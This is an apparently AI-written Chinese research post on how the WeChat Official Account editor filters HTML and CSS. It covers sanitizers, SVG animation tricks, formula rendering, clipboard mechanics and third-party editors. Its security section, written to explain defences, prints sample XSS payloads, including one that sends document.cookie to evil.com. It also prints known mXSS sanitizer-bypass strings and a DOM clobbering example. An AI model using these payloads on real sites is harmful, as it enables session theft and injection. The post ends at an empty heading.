乐于分享
好东西不私藏

AI slop一则:若是要在公众号编辑器里玩HTML/CSS排版的花活……

AI slop一则:若是要在公众号编辑器里玩HTML/CSS排版的花活……

Saber & Ayaka

微信公众号编辑器技术实现深度研究报告

研究日期:2026 年 6 月研究方法:多轮联网检索 + 交叉验证多个社区来源(博客园、GitHub、知乎、微信开放社区、技术博客、官方文档)涵盖范围:HTML sanitization 安全模型、微信特殊过滤规则、SVG 交互原理、LaTeX 公式方案、剪贴板机制、第三方编辑器生态、CSS 兼容性参考、自建编辑器指南


目录

  1. 1. HTML Sanitization:富文本安全的基石
  2. 2. 微信公众号编辑器的过滤机制
    • • 2.5 字体切换的原理:系统字体栈
  3. 3. SVG”黑科技”:交互如何逃过过滤
  4. 4. LaTeX 公式在微信公众号上的实现
  5. 5. 剪贴板机制与第三方编辑器架构
  6. 6. 第三方编辑器生态全景
  7. 7. 微信 HTML/CSS 支持参考手册
  8. 8. 自建微信兼容编辑器的路线图

1. HTML Sanitization:富文本安全的基石

1.1 为什么需要 Sanitization

不加过滤地接受用户 HTML 并渲染,至少面临以下攻击面:

风险类型
攻击手法示例
后果
存储型 XSS <img src=x onerror=fetch('https://evil.com/?c='+document.cookie)>
Cookie 窃取、会话劫持
DOM 型 XSS <a href="javascript:void(document.location='...')">

 伪协议
点击触发恶意跳转
CSS 注入 <div style="background:url('https://evil.com/log')">
CSS 数据外泄(虽受限但历史上有过)
点击劫持 <iframe>

 + 透明覆盖层
诱导用户执行非预期操作
表单劫持
注入伪造 <form> / <input>
钓鱼收集用户凭证
布局破坏 position:fixed

 覆盖编辑器 UI
破坏页面可用性

2019 年微信公众号就曾曝出真实 XSS 漏洞:文章标题中的 HTML 标签未转义,留言页面可执行 <script> 代码——典型的存储型 XSS。

1.2 通用 Sanitization 策略

成熟的富文本编辑器(WordPress、TinyMCE 等)采用多道防线:

用户输入   ↓【① 标签白名单】→ 只允许 p, h1-h6, a, img, ul, ol, li, strong, em, blockquote, table 等   ↓【② 属性白名单】→ a 只保留 href/title, img 只保留 src/alt/width/height   ↓【③ URL 协议过滤】→ href/src 只允许 http/https/mailto,禁止 javascript:/data: 伪协议   ↓【④ CSS 内联样式过滤】→ 过滤 expression()、behavior、-moz-binding 等危险值   ↓【⑤ 输出转义】→ `<` `>` `"` `'` `&` 在正确的上下文中转义   ↓【⑥ CSP 头】→ Content-Security-Policy 限制脚本来源作为兜底防线

核心设计哲学:白名单优先——默认拒绝一切,只放行已知安全的标签和属性。黑名单枚举永远不完备。

1.3 主流 Sanitizer 对比(2026 年)

维度
sanitize-html DOMPurify js-xss
最佳环境
服务端(Node.js)
浏览器(客户端)
两端
周下载量
~3M
~7M
~2M
解析方式
字符串解析(htmlparser2)
DOM 解析

(最安全)
字符串解析
CSS 属性白名单
✅ allowedStyles 支持正则验证
标签转换钩子
零依赖
✅(浏览器端)
维护方
ApostropheCMS(商业 CMS 公司)
cure53(柏林安全研究公司,多次正式审计)
个人开发者
TypeScript 完备性
最佳(IOptions 完整类型)
良好
较弱

1.4 mXSS:绕过 Sanitizer 的头号杀手

mutation XSS(mXSS) 不依赖注入已知恶意模式,而是利用 HTML 的容错性——浏览器会自动修复破损标记,使一个在 sanitizer 中看似无害的载荷,在渲染时发生”突变”成为可执行代码。

mXSS 的四个子类别(SonarSource, 2024):

类型
原理
实例
解析器差异
sanitizer 与浏览器对同一标记解析不同
<noscript><style></noscript><img src=x onerror=alert(1)>

 — sanitizer 阶段 JS 未启用,<noscript> 内容被当作 raw text;浏览器 JS 启用,构造提前闭合
解析往返
HTML 规范承认:序列化 → 重新解析可能产生不同 DOM 树
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>

 — 利用 <form> 不可嵌套 + MathML 命名空间混淆绕过 DOMPurify 2.0.17
去消毒化
应用层在 sanitizer 输出后再修改 HTML
将 <svg> 重命名为 <custom-svg> → 命名空间改变 → 被清理的内容重新可执行
上下文依赖
消毒后的内容被嵌入不同命名空间
消毒在 HTML 上下文中通过,但渲染时被包在 <svg> 内,解析规则变化

已确认的绕过案例

  • • CVE-2024-47875:DOMPurify 嵌套 mXSS
  • • CVE-2023-33726:Joplin 笔记应用 → 远程命令执行
  • • CVE-2023-44390:HtmlSanitizer (.NET) 绕过
  • • CVE-2023-38500:Typo3 HTML sanitizer 绕过
  • • OWASP java-html-sanitizer、Google Search 历史绕过

1.5 DOM Clobbering:为 XSS 铺路的隐蔽攻击

当 HTML 中存在 id 或 name 属性与浏览器全局变量同名的元素时,浏览器会创建一个指向该 DOM 元素的全局引用,覆盖原有的 API。例如:

<aid="location"href="javascript:doBadThings()">click</a>

若应用代码中有 location.assign(document.location),此处的 document.location 不再指向 Location API,而是指向这个 <a> 元素(其 toString() 返回 href 值)→ 攻击者借此执行任意 JS。

DOMPurify 默认防御:检测 id/name 是否与内置 API 冲突,冲突则删除。

1.6 关键架构决策:客户端消毒 vs 服务端消毒

安全界共识(SonarSource、DOMPurify 社区):

服务端 sanitizer 注定存在解析器差异风险。HTML 解析极其复杂,内容最终会被不同浏览器引擎(Blink vs WebKit vs Gecko)渲染——不可能在服务端完全避免解析差异。

推荐的生产架构

用户输入  ↓服务端:sanitize-html 预过滤(第一道防线)  ↓存储到数据库  ↓客户端渲染前:DOMPurify.sanitize() 最终消毒  ↓浏览器渲染  ↓CSP 头:default-src 'self'; script-src 'self'; object-src 'none'(兜底防线)

SSR 特别警告isomorphic-dompurify 在服务端引入 jsdom HTML 解析器,重新制造了解析器差异。对用户控制的 HTML,应禁用 SSR,将消毒和渲染推迟到客户端。

1.7 TinyMCE 的双重策略:消毒 + 验证

作为企业级编辑器,TinyMCE 的实现值得参考:

  1. 1. HTML Sanitization:集成 DOMPurify,过滤 XSS/mXSS/DOM Clobbering 向量
  2. 2. HTML Validation:内置 schema 引擎,按 HTML5 / HTML 4.01 标准验证并修正标记结构(<h1>text</h2> → <h1>text</h1>
  3. 3. 可配置规则valid_elementsextended_valid_elementsinvalid_elementsinvalid_styles 等选项

两者的区别:Validation 检查”标记是否符合标准”,Sanitization 检查”标记是否包含恶意代码”。两者互补。


2. 微信公众号编辑器的过滤机制

2.1 微信的三重过滤目标

微信的 HTML 过滤比纯安全过滤更激进,同时服务于三个目标:

  1. 1. 安全:防止 XSS、数据外泄
  2. 2. 一致性:保证文章在 iOS/Android/桌面端显示一致
  3. 3. 可控性:防止第三方通过富文本干涉微信客户端的渲染引擎

2.2 已探测出的 HTML 标签规则

状态
标签
✅ 允许
p

divspansectionh1h6aimgul/ol/liblockquotestrong/bem/ibrtable/tr/td/thsvg 及其全部子元素, precodesubsup
✅ 微信特有
<mpvoice>

(语音)、<mpvideo>(视频)
❌ 被过滤
<script>

<style><iframe><form><input><embed><object><link><audio><video>

2.3 已探测出的 CSS 规则

详细的 CSS 兼容性表见第 7 节。此处总结关键的分层结论:

第一层:确认可用(稳定)colorbackground-colorfont-sizefont-weightfont-stylemarginpadding(推荐 px), borderborder-radiustext-alignline-heightletter-spacingtext-decorationopacitydisplaybox-shadowoverflowpointer-events

第二层:有条件可用

  • • transform(HTML 元素上):曾被全部过滤,近期简单 transform 可能生效,但不保证
  • • transform(SVG 属性如 <g transform="...">):始终可用
  • • z-index:父级需要 display: flex 才能生效
  • • linear-gradient:技术上可保留但旧设备兼容性存疑
  • • % 单位:margin-transform: translateY( -100% 和 transform: translateY(-100%) 等场景失效

第三层:完全不可用

  • • position: absolute/fixed/relative — 代码被整行删除
  • • id 属性 — 所有元素(包括 SVG 内)被删除
  • • animationtransition@keyframes@media — 无 <style> 标签无法承载
  • • :hover:active::before::after — 无选择器机制

2.4 额外怪癖(平台特有行为)

问题
表现
解决方案
连续空格被合并
代码缩进全部丢失
用 \u00A0(non-breaking space)替代普通空格
代码块换行失效
<pre>

 内 \n 可能不换行
显式替换为 <br>
<input type="checkbox">

 被过滤
任务列表无法渲染
用 Unicode 字符 / 替代
SVG <image> 需要显式尺寸
iOS 上不写 width/height 不显示
必须写 width="..." height="..."
GIF 限制
超过 300 帧或 10MB 被拒绝
压缩或分段
普通图片限制
总像素 ≤ 600 万,宽度最好 ≤ 1080px
上传前预处理
外部链接包裹
点击后弹出”即将离开微信”警告
可转为文末脚注

2.5 字体切换的原理:系统字体栈

多个微信排版工具(如 doocs/md 的部署版 md.openwrite.cn、WeMD、花生编辑器等)宣称支持 sans-serif / serif / monospace 字体切换,实测确认字形确实在公众号文章中能渲染出来。其技术原理是系统字体栈(System Font Stack),不依赖任何 webfont。

为什么微信放行 font-family

font-family 是一个纯声明式的 CSS 属性——它只是告诉浏览器”去设备上找这些字体,按优先级使用”。它不触发网络请求、不执行代码、不引入外部资源。微信 sanitizer 没有任何安全或一致性理由去过滤它。

系统字体栈的工作机制

泛型字体族(generic family) 是 CSS 规范内置的关键词,每个浏览器都将其映射到设备上实际存在的字体:

CSS 泛型族
iOS/macOS 实际渲染
Android 实际渲染
Windows 实际渲染
sans-serif
PingFang SC(苹方)+ SF Pro
Noto Sans CJK(思源黑体)+ Roboto
Microsoft YaHei(微软雅黑)+ Segoe UI
serif
Songti SC(宋体)+ Times New Roman
Noto Serif CJK(思源宋体)
SimSun(宋体)+ Times New Roman
monospace
SF Mono
Droid Sans Mono
Consolas / Courier New

编辑器实际使用的字体栈

这些工具并非只写 font-family: sans-serif,而是构造了覆盖各平台的完整 fallback 链。以微信广告设计团队(wxad.design)的实践为例:

无衬线(sans-serif)栈——对应工具中的”默认/无衬线”模式:

font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,"Helvetica Neue", Helvetica, Arial,"PingFang SC""Hiragino Sans GB","Microsoft YaHei UI""Microsoft YaHei""Source Han Sans CN",  sans-serif;

各层含义:

  • • -apple-systemBlinkMacSystemFont:iOS/macOS 专有,自动映射到 San Francisco(西文)+ 苹方(中文)
  • • "Segoe UI":Windows 系统 UI 字体
  • • Roboto:Android 系统字体
  • • "PingFang SC""Hiragino Sans GB":macOS 中文无衬线体
  • • "Microsoft YaHei UI""Microsoft YaHei":Windows 中文无衬线体
  • • "Source Han Sans CN"(思源黑体):Android 中文
  • • sans-serif最终 fallback——浏览器用自身的泛型族映射兜底

衬线(serif)栈——对应”衬线”模式:

font-family"Songti SC""Noto Serif CJK SC""SimSun","Times New Roman", Georgia, serif;

等宽(monospace)栈——对应”等宽/代码”模式:

font-family"SF Mono""Menlo""Consolas""Courier New", monospace;

关键洞察

  1. 1. 不需要 webfont:所有引用的字体都是操作系统预装的。font-family 不触发任何下载,只是告诉浏览器按优先级去设备上找
  2. 2. 平台自适应:同一个 font-family 声明在不同设备上自动渲染为不同的实际字体——这是 CSS 规范的设计意图,而非 bug
  3. 3. 泛型族是最终兜底:即使前面列出的所有具名字体都不存在(极端情况),sans-serif / serif / monospace 这三个泛型族关键词会确保至少有一个合理的字体被使用
  4. 4. 微信 sanitizer 的立场font-family 引用的是本地字体——纯声明式、零网络请求、零代码执行——不存在安全风险,也没有破坏跨设备一致性的问题(因为系统字体本身就是各平台的原生体验)

与 webfont 的对比

系统字体栈
webfont(@font-face
需要网络请求
❌ 不触发
✅ 下载字体文件
微信是否放行
❌(@font-face 在 <style> 内被过滤)
字形可控性
低(依赖设备预装字体)
高(精确指定)
加载性能
零开销
有 FOUT/FOIT
跨设备一致性
各平台原生体验
统一字形

这也是为什么 doocs/md、WeMD 等工具能提供字体切换功能——它们做的只是切换 font-family 内联样式的值,在 serif/sans-serif/monospace 三套系统字体栈之间选择一个写入 HTML,然后交由微信透传、设备渲染。


3. SVG”黑科技”:交互如何逃过过滤

3.1 为什么是 SVG

微信的核心限制——不能写 JS、不能写 <style> 标签——使得常规的交互动效完全不可行。但 SVG 在微信的 sanitizer 中是一个被整体放行的命名空间——微信选择不对 SVG 内部做深度解析。这为声明式动画提供了完整的舞台。

SVG 内部可以包含:

  • • <animate> / <animateTransform>:声明式动画,通过 begin="click" / begin="touchstart" 触发,不需要 JS
  • • <foreignObject>:嵌入 HTML 片段(包括嵌套 <svg>),在微信中实测可用
  • • <set>:修改属性值
  • • <animateMotion>:路径动画

3.2 “点击展开长图文”的核心原理

<sectionstyle="overflow: hidden;"><!-- 展开后的内容:height:0 隐藏 --><sectionstyle="text-align: center; height: 0; line-height: 0;"><!-- 长图文放在这里 --></section><!-- 外层 SVG 做展开动画 --><sectionstyle="transform: rotateZ(0deg); pointer-events: none;"><svgviewBox="0 0 750 1295"style="pointer-events: none;"><!-- 点击触发 width 变化,利用 overflow:hidden 撑开父容器 --><animateattributeName="width"fill="freeze"restart="never"keyTimes="0;.2;1"values="100%;0%;500%"dur="6s"begin="click"></animate><g><foreignObjectx="0"width="100%"height="100%"><!-- 封面图作为内层 SVG --><svgviewBox="0 0 750 1295"style="pointer-events: auto;"><!-- 封面内容 --></svg></foreignObject></g></svg></section></section>

执行流程

  1. 1. 展开内容用 height:0 隐藏
  2. 2. SVG <animate> 通过 begin="click" 监听点击(SVG 规范原生支持,不依赖 JS)
  3. 3. 动画将 width 从 0% 变为一个很大的值,利用 overflow:hidden 撑开展示隐藏内容
  4. 4. pointer-events: none 控制交互穿透,restart="never" 确保只播放一次

3.3 SVG 交互技术全景

效果
核心技术
关键属性
点击展开长图文 <animate>

 width 变化撑开容器
begin="click"

fill="freeze"
左右滑动 overflow-x: scroll

 + scroll-snap-type
dir="rtl"

 反转方向
翻页效果 <animateTransform>

 + scale(-1)
type="translate"
随机抽签/扭蛋 touchstart

 + touchend + calcMode="discrete"
长按循环切换,松手停止
GIF 单次循环
GIF 放在 SVG <image> 内
微信不会对 SVG 内图片强制无限循环
点击播放音频 <foreignObject>

 嵌套 <mpvoice>
需提前上传音频到素材库
双次点击
第一个动画 begin="touchstart" + 第二个 begin="click"
两次触发不同动画
Dark Mode 适配
SVG currentColor + 颜色继承
但会被 <embed> 包裹破坏(见第 4 节)

3.4 为什么 SVG 未被过滤

可能的理由:

  1. 1. SVG 声明式动画是 W3C 规范的一部分,微信客户端(基于 WebView)天然支持,不算”漏洞”
  2. 2. 微信的 sanitizer 可能只对 HTML 命名空间做深度解析,对 SVG 采用宽松放行策略
  3. 3. 从产品角度,SVG 交互提升了文章质量,微信选择容忍而非封堵
  4. 4. 没有 JS 执行能力,SVG 动画无法发起网络请求或读写 DOM——安全风险可控

3.5 关键限制与注意事项

限制
详情
SVG 内不能嵌套 <svg>
可用 <foreignObject> 变通
SVG <image href="..."> 必须用素材库链接
外链和 base64 均不可显示
transform-origin

 在 iOS 的 <g style="..."> 中失效
只用属性形式 <g transform="...">
restart="never"

 在 iOS 上无效
苹果手机上再次点击仍会执行动画,目前无解
深色模式下 iOS 可能给所有元素加 transform 导致层级混乱
参考专门的 Dark Mode 适配方案
做展开长图文时不能用 float
浮动元素在 height:0 容器中仍可见

4. LaTeX 公式在微信公众号上的实现

4.1 历史方法演进

方案
原理
缺点
截图插入图片
公式截图 → 上传图片
模糊、加载慢、无法二次编辑
知乎复制
知乎有公式后端,复制时自动迁移图床
公式变为 <img>,难控制字号,不支持 Dark Mode
WordPress QuickLaTeX
服务端渲染 → 公式转为图片
间接方案,流程琐碎
Markdown Nice
Markdown + LaTeX → KaTeX/MathJax SVG → CSS 内联 → 剪贴板 → 粘贴到微信
成熟但公式不可在微信编辑器内二次编辑
mpMath 插件
Chrome 扩展注入 MathJax,在微信编辑器内生成内联 SVG
已停止维护,但用户体验最佳

4.2 mpMath 的完整架构

mpMath 是 Troy Ni 和 CPunisher 在 2020 年开发的 Chrome 扩展,其架构如下:

┌─────────────────────────────────────────────────┐│          mpMath Chrome Extension (MV2)           ││                                                   ││  Content Script(注入 mp.weixin.qq.com):          ││    ├── 在微信编辑器顶部注入"公式"按钮               ││    ├── 用户点击 → 弹出 LaTeX 编辑 modal            ││    ├── MathJax 3.x 实时渲染预览(SVG 输出模式)      ││    ├── 确认后:MathJax → 内联 SVG 字符串            ││    └── 通过 DOM API 插入 contenteditable 区域      ││                                                   ││  绕过策略:                                        ││    ✓ MathJax 输出格式设为 SVG(非 HTML-CSS)        ││    ✓ SVG 内联(非外部引用)                         ││    ✓ 无 <script> / 事件处理器                      ││    ✓ 利用扩展权限直接操作编辑器 DOM                  ││    ✓ 微信 sanitizer 放行标准 SVG 标签               │└─────────────────────────────────────────────────┘

为什么选择 MathJax SVG 而非 HTML-CSS 输出

  1. 1. HTML-CSS 依赖 <span> + CSS class → 微信过滤 <style> 后样式全部丢失
  2. 2. SVG 是自包含的矢量图形 → 过滤后仍完整保留
  3. 3. SVG 支持 currentColor → 理论上可跟随 Dark Mode(但被微信的 <embed> 包裹破坏)

4.3 微信对公式 SVG 的”二次伤害”

这是所有公式方案共同面临的核心痛点:

MathJax 渲染 → 内联 SVG 字符串  ↓ 复制/粘贴到微信编辑器微信编辑器 paste handler  ↓ sanitizer 放行 SVG  ↓ 检测到 SVG 内容或视为"外部资源"  ↓ **将整个 SVG 包裹在 <embed> 标签中**  ↓ <embed src="..." /> → 上传到微信图床 (mmbiz.qpic.cn)  ↓ **SVG 变为独立的嵌入文档**

后果

  • • currentColor 继承断裂:SVG 在独立文档上下文中 → 无法从父页面继承 color → Dark Mode 下公式颜色不自动切换
  • • 字号控制困难:<embed> 尺寸由微信客户端决定,CSS 无法穿透
  • • 二次编辑极易丢失:对 <embed> 区域的任何操作都可能导致公式消失

Cigaret 的 bookmarklet 方案GitHub):一键去除微信包裹的 <embed> 标签,恢复 SVG 内联。但仅在发布前的编辑阶段有效——微信服务器端保存时可能重新包裹。

4.4 当前可用方案

方案
原理
状态
可二次编辑
Markdown Nice
Markdown → KaTeX/MathJax SVG → CSS 内联 → 剪贴板
✅ 最成熟(2.6k stars)
mpMath
Chrome 扩展注入 MathJax
❌ 已归档
mpMath 社区后继

Gitee
基于 MathJax 的新 Chrome 扩展
⚠️ 个人项目,不稳定
可能
手动 TeX→SVG
在线转换器 → 下载 SVG → 手动粘贴代码
可用但繁琐
✅(粘贴的是源码)
doocs/md 内置 KaTeX
开源编辑器内置渲染
✅ 活跃(12.9k stars)
❌(同 mdnice 模式)

4.5 根本矛盾

微信的三层限制环环相扣:

  1. 1. 编辑器层:过滤 <style>、JS、外部资源
  2. 2. 保存层:将 SVG 包裹为 <embed> 并上传到图床
  3. 3. 客户端渲染层<embed> 内的 SVG 失去 CSS 继承、currentColor 断裂

mpMath 通过 Chrome 扩展绕过了第一层(扩展有权操作编辑器 DOM),但无法绕过第二层和第三层(服务器端和客户端逻辑,扩展不可干预)。

唯一完美的解决路径:微信官方在编辑器中内置 MathJax/KaTeX(像知乎、语雀那样),或为公式 SVG 提供”保留内联”的特殊处理通道。


5. 剪贴板机制与第三方编辑器架构

5.1 为什么普通复制会丢失样式

从网页 Ctrl+A → Ctrl+C → Ctrl+V 到微信编辑器时:

  1. 1. 网页样式在 <style> 标签或外部 CSS 文件中 → 微信过滤 <style> 标签 → 样式全部丢失
  2. 2. 网页类名(class)和 ID → 微信删除所有 ID → CSS 选择器匹配失败
  3. 3. 网页的 position/transform/animation → 微信过滤这些属性
  4. 4. 空白符处理 → 微信有特殊合并行为

5.2 CSS 内联化:核心解决方案

CSS Inlining 是将 <style> 中的规则展开为每个元素 style="" 属性的过程:

<!-- 原始(样式在 <style> 中,会被微信过滤) --><style>h1 { color: blue; font-size24px; }</style><h1>标题</h1><!-- 内联化后(样式在元素上,微信无法过滤) --><h1style="color: blue; font-size: 24px;">标题</h1>

标准工具是 juice(由 WordPress 母公司 Automattic 维护):

import juice from'juice'const result = juice.inlineContent(html, css)

5.3 剪贴板的多格式存储机制

剪贴板不是只存一份数据,而是同时存储同一内容的多个表示(representations)

MIME 类型
内容示例
消费方
text/plain 这是**粗体**文字
纯文本编辑器(记事本、VS Code)
text/html <p>这是<strong>粗体</strong>文字</p>
富文本编辑器(微信、Word、Google Docs)
image/png
PNG 二进制数据
图片处理软件

Windows 底层通过 CF_HTML 剪贴板格式存储 HTML,包含完整的 HTML 上下文和片段偏移量(StartHTML/EndHTML/StartFragment/EndFragment 头信息)。

当用户在微信编辑器 Ctrl+V,微信的 contenteditable 编辑器读取剪贴板的 text/html 表示,解析 DOM,经内部 sanitizer 过滤后渲染。

5.4 第三方编辑器写入剪贴板的关键代码

// 来自 bm.md 开源项目的实际实现asyncfunctioncopyForWechat(html, themeCss) {// 1. CSS 内联化const inlined = juice.inlineContent(html, themeCss)// 2. 构造 Blob(text/html MIME 类型)const blob = newBlob([inlined], { type'text/html' })// 3. 使用 Async Clipboard API 写入await navigator.clipboard.write([newClipboardItem({ 'text/html': blob })  ])}

秀米 Chrome 扩展的额外价值:官方说明明确指出它能”解决一些用复制粘贴会引起的格式丢失问题(例如特定的一些 SVG 功能)”——浏览器扩展拥有更高权限,可以通过 execCommand("copy") 触发 isTrusted: true 的复制事件,从而写入任意 MIME 类型(不仅是 text/html)。

5.5 完整数据流

第三方编辑器(如秀米/doocs/md)  │  ├── Markdown → unified 处理管道 → HTML  ├── CSS 内联化(juice)  ├── 微信适配层(空格→\u00A0, \n→<br>, 复选框→☑/☐, 链接→脚注)  │  ↓ navigator.clipboard.write([ClipboardItem('text/html', blob)])  │Windows 系统剪贴板  ├── CF_TEXT(纯文本)  ├── CF_HTML(HTML + 上下文头信息)  └── 其他格式  │  ↓ 用户 Ctrl+V  │微信公众号编辑器 (mp.weixin.qq.com)  ├── contenteditable → paste handler  ├── 读取 text/html → 解析 DOM  ├── 微信 Sanitizer(见第 2 节)  └── 渲染

5.6 Windows PowerToys 高级剪贴板(Win+V / Win+Shift+V)

PowerToys Advanced Paste 的功能基于 Windows 剪贴板的多格式存储:

功能
原理
存储 HTML + 纯文本
剪贴板历史自动记录每次复制时的所有格式(CF_TEXT + CF_HTML + CF_BITMAP)
粘贴为纯文本
读取 CF_TEXT / text/plain 表示,丢弃 CF_HTML
粘贴为 Markdown
读取 CF_HTML,用本地转换器 HTML→Markdown
粘贴为 JSON
本地转换器,解析结构化文本
贴图为 PNG 文件
读取 CF_BITMAP → 转换 PNG → 以文件形式粘贴
AI 模式
剪贴板内容发送给 LLM,按 prompt 转换
OCR
对剪贴板图片运行本地 OCR 引擎

关键点:Windows 剪贴板本身就是一个多格式存储系统。PowerToys 的历史功能是将每次快照序列化到磁盘,粘贴时根据用户选择的格式读取对应的表示。


6. 第三方编辑器生态全景

6.1 商业编辑器(老牌)

名称
类型
核心能力
秀米 XIUMI
Web + Chrome 扩展
WYSIWYG 排版 + 海量模板 + SVG 交互 + 一键复制
135 编辑器
Web + 浏览器插件
样式模板 + SVG 动画 + 一键排版
壹伴
浏览器插件
直接集成在微信编辑器侧边栏 + SVG 组件
E2 编辑器
Web
专注 SVG 黑科技排版

6.2 开源 Markdown→微信 编辑器

头部项目(千星级别)

① doocs/md — 12.9k ⭐,WTFPL 协议

维度
详情
在线地址
md.doocs.org
技术栈
Vue 3 + TypeScript + Vite + pnpm monorepo
特色功能
KaTeX 数学公式、Mermaid 图表、PlantUML、GFM 警告块、Ruby 注音扩展、12 种图床、集成 6+ AI 模型
分发形式
Web + Chrome 扩展 + Firefox 扩展 + uTools 插件 + npm CLI + Docker + Cloudflare Workers
活跃度
最后提交 2026-06-27,1483 commits,58 位贡献者

② tenngoxars/WeMD — 837 ⭐,MIT 协议

维度
详情
在线地址
edit.wemd.app
技术栈
React 18 + TypeScript + Electron + NestJS + Turborepo
特色功能
微信深色模式预览算法

(还原度 98%+,基于微信官方 wechatjs/mp-darkmode)、Mermaid、滑动图组、可视化主题设计器
分发形式
Web + macOS/Windows/Linux 桌面版 + Docker
活跃度
最后提交 2026-06-25,185 commits,29 个 Release

③ alchaincyf/huasheng_editor — 645 ⭐,MIT 协议

维度
详情
在线地址
editor.huasheng.ai
技术栈
Vue 3 + Markdown-it + Highlight.js + IndexedDB + Canvas API(纯前端单文件)
特色功能
13 种主题(Anthropic Claude、金融时报、纽约时报、Wired、Medium、Apple 极简等)、CSS Grid → Table 布局自动转换、智能图片压缩(Canvas API,50-80%)+ IndexedDB 持久化、多图网格布局
活跃度
最后提交 2026-06-13,645 stars

④ xiaohuailabs/xiaohu-wechat-format — 633 ⭐,MIT 协议

维度
详情
形态
Claude Code Skill

(非独立 Web 应用)
技术栈
Python 3 + markdown 库
特色功能
全流程管线:排版 → AI 封面生成(Gemini Image API)→ 一键推送到公众号草稿箱(微信 API);85 套主题 + 可视化画廊;:::dialogue:::gallery:::byline 等容器语法;AI 语义增强;中文标点自动修复
活跃度
最后提交 2026-06-12

中小型项目

项目
Stars
形态
特点
iamzifei/wechat-article-formatter-skill
Claude Code Skill
Markdown → 微信兼容 HTML,支持自定义样式
yuejiangli/wechat-publisher
OpenClaw Skill
AI agent 通过官方 API 直接发布到草稿箱
saltedfish964/wechat-markdown-editor
单页 Web
基础版 Markdown 编辑器
Tinywan/wechat-format
1
单页 Web
较老项目(2024),Markdown → 微信 HTML

在线工具型

名称
地址
特点
MarkCopy
md.payforchat.com
免费在线,支持微信/知乎/掘金多平台
MeTool
metool.online
Markdown 一键转微信
MiniMax 编辑器
markdown-editor.space.minimaxi.com
在线 MD 编辑 + 公众号排版
md2wechat
md2wechat.cn
面向 AI Agent 的 CLI 工具

6.3 技术栈对比

维度
doocs/md
WeMD
花生编辑器
xiaohu-wechat-format
Stars
12.9k
837
645
633
形态
Web + 扩展 + CLI + Docker
Web + 桌面 + Docker
纯 Web(单文件)
Claude Code Skill
前端框架
Vue 3 + TS
React 18 + TS
Vue 3 + JS
Python(CLI)
公式支持
KaTeX
支持
图表
Mermaid + PlantUML
Mermaid
主题数
多款内置
多款 + 可视化设计器
13 款
85 套(画廊 34 款)
Dark Mode 预览
✅ 98%+ 还原
暗夜实时预览
AI 集成
✅ 多模型
✅ AI 语义增强
一键发布
✅ 推送到草稿箱
桌面版
微信适配技巧
空格/换行/复选框/链接
深色模式预览
Grid→Table 自动转换
CJK 间距/标点修复/列表→section+flexbox

7. 微信 HTML/CSS 支持参考手册

以下清单整合了 Axton Liu(2025-03)、haqiao 博客园、VerySmallWoods、PingCode 等多个来源的交叉验证结果。标记为 ⚠️ 的项目在不同微信版本或不同设备上行为可能不一致。

7.1 HTML 标签

标签
状态
备注
p

divspansection
通用容器
h1

h6
标题层级
strong

bemiusdelins
文本修饰
sup

sub
上标/下标
ul

olli
列表
a
超链接;外链弹出安全警告
img
图片;素材库外链/base64 均可(与 SVG 内不同)
table

theadtbodytrthtd
表格
blockquote
引用
pre

code
代码块;换行用 <br> 替代 \n
br
换行
svg

 及其全部子元素
整体放行

;这是所有交互黑科技的基础
mpvoice

mpvideo
微信特有媒体标签
script

style
安全过滤
iframe

embedobject
安全过滤
form

inputbuttonselecttextarea
表单元素不可用
link
外部资源引用被过滤
audio

video
替代:微信特有标签
id

 属性(所有元素)
包括 SVG 内的 id,全部被删除
class

 属性
⚠️
保留但不生效(无 <style> 无法使用)

7.2 CSS 属性——确认可用

文本与字体

属性
状态
备注
color
hex / rgb / rgba
font-size
px / em / rem
font-weight
100–900
font-style
normal / italic
font-family
系统字体栈可行

——sans-serif/serif/monospace 等泛型族 + 各平台具名字体构成完整 fallback 链(详见 §2.5)。不可用 @font-face 加载 webfont
text-align
left / center / right / justify
text-decoration
underline / line-through / none
text-indent
首行缩进
letter-spacing
字间距
word-break
break-all / keep-all
line-height
数值 / px / em

盒模型与布局

属性
状态
备注
margin

(及分方向)
推荐 px;% 在负值和 transform 场景不可靠
padding

(及分方向)
px / em
border

 / border-radius
支持简写和分写
box-shadow
内外阴影均支持
display
block / inline-block / flex / none
vertical-align
middle / top / bottom
overflow

 / overflow-x / overflow-y
hidden / scroll / auto
scroll-snap-type
x mandatory
scroll-snap-align
start
float
⚠️
可用,但在 height:0 隐藏容器中会脱离文档流

视觉

属性
状态
备注
background-color
纯色
background

 / background-image
⚠️
linear-gradient(...)

 技术上可保留,兼容性不稳定
opacity
0–1
pointer-events
none

 控制交互穿透
user-select
none

 阻止文本选中

7.3 CSS 属性——确认被过滤或失效

属性
行为
替代方案
position: absolute/fixed/relative 代码被整行删除
无;所有元素按文档流排版
transform

(HTML 元素)
曾被全部过滤,近期简单 rotate 可能通过,不保证
改用 SVG transform 属性
animation

transition
不可用
SVG <animate>
z-index

(无 flex 父级)
大部分失效
父容器加 display: flex
%

(特定场景)
margin-transform: translateY( -100%

 和 translateY(-100%) 失效
改用 px / vw / vh
:hover

:active:focus
无选择器机制
::before

::after
无选择器机制
@media
无 <style> 标签
用 vw/vh 做流体响应
@keyframes
无 <style> 标签
SVG <animate>
@font-face
不支持
仅系统字体

7.4 单位支持

单位
状态
px
✅ 最可靠,推荐首选
em

 / rem
vw

 / vh
✅ 推荐用于响应式
%
⚠️ 不可靠——在 margin-top: -100% 和 transform: translateY(-100%) 等场景失效

7.5 SVG 内特殊规则

规则
详情
SVG <image href="...">
必须使用微信素材库链接

,外链和 base64 不显示
SVG <image> 需要 width/height
iOS 不写就不显示
<g style="transform-origin:...">
Android/PC 有效,iOS 失效
<g transform="...">

(属性形式)
所有平台有效
restart="never"
Android 有效,iOS 无效
<foreignObject>
可用于嵌套 HTML 或其他 SVG

7.6 图片与 GIF 限制

限制项
数值
GIF 最大帧数
300 帧
GIF 最大文件大小
10 MB
普通图片最大像素
600 万(约 3000×2000)
建议图片宽度
≤ 1080px

8. 自建微信兼容编辑器的路线图

8.1 挑战评估

挑战
难度
说明
构建基本富文本编辑器
中等
可用 Tiptap / Quill / ProseMirror / Slate / CodeMirror
CSS 内联化
简单
juice

 库一行搞定
微信适配层
中等
空格替换、换行替换、复选框替换、链接脚注化、SVG 属性修正
精确模拟微信过滤行为
微信过滤规则是黑盒,只能通过试验逆向

8.2 推荐架构

